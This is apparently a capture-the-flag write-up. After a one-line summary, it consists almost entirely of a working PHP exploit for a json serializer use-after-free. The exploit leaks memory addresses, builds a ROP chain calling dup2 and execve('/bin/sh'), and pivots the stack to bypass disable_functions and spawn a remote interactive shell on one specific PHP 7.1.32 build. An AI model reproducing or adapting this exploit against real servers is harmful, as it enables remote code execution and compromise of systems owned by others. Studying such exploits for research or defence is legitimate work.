Rating: 5.0

TL;DR: Exploiting a [use after free with json serializer](https://bugs.php.net/bug.php?id=77843) to bypass disable_functions and pop an interactive shell.

```
server fd
define('POP_RDI', 0xd14eb);
define('POP_RSI', 0xd157f);
define('POP_RDX', 0xd5033);
define('POP_RCX', 0xff87a);
define('SYSCALL_PLT', 0xcf800);
define('BIN_SH', 0x33bb9e);
define('STACK_PIVOT', 0xd1577); # push rdi ; ... ; pop rsp ; pop r13 ; pop r14 ; ret
define('ZEND_OBJECTS_DESTROY_OBJECT', 0x2952d0);

class MySplFixedArray extends SplFixedArray { }

class Z implements JsonSerializable {
public function rebase($addr) {
global $pie;
return $pie + $addr;
}

public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p, $s=8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m=8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

public function rop($addr) {
global $ctr;
# rop starts at abc + 0x1010
$this->write($this->abc, 0x1010 + $ctr * 8, $addr);
$ctr += 1;

}

public function syscall($syscall_no, $rdi=0, $rsi=0, $rdx=0) {
$this->rop($this->rebase(POP_RDI));
$this->rop($syscall_no);
$this->rop($this->rebase(POP_RSI));
$this->rop($rdi);
$this->rop($this->rebase(POP_RDX));
$this->rop($rsi);
$this->rop($this->rebase(POP_RCX));
$this->rop($rdx);
$this->rop($this->rebase(SYSCALL_PLT));
}

public function jsonSerialize() {
global $y, $pie, $ctr;

$contiguous = [];
for($i=0; $i < 10; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i=0; $i < 10;$i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);
$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000; # $this->abc is now of size 0x2000

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# pie leak
$fake_obj = $abc_addr + 0x60;
$this->write($this->abc, 0x60, 2);
$this->write($this->abc, 0x68, $handlers - 0x10);
$this->write($this->abc, 0x120, $fake_obj);
$pie = $this->str2ptr(get_class($spl1), 8) - ZEND_OBJECTS_DESTROY_OBJECT;

# write rop
$this->syscall(33, SOCK_FD, 1); # dup2
$this->syscall(33, SOCK_FD, 0); # dup2
$this->syscall(59, $this->rebase(BIN_SH)); # execve
$this->syscall(60, 0); # exit

# overwrite next chunk forward pointer
$this->write($this->abc, 0x1a8, $class_entry + 0x20);

# allocate some strings
$x = str_repeat("X", 69);
$y = str_repeat("Y", 69);
$z = str_repeat("Z", 69);

# $z is now at $class_entry + 0x20
# restore a pointer to some writable addr
$this->write($z, 0, $abc_addr);

# overwrite a function destructor
$this->write($z, 0x18, $abc_addr + 0x1000); # -> rdi
$this->write($z, 0x38, $this->rebase(STACK_PIVOT)); # -> rip

exit();
}
}

if(php_sapi_name() != 'apache2handler' ||
phpversion() != '7.1.32-1+ubuntu16.04.1+deb.sury.org+1') {
die('Wrong setup.');
}

global $y;
$y = [new Z()];
json_encode([0 => &$y]);

```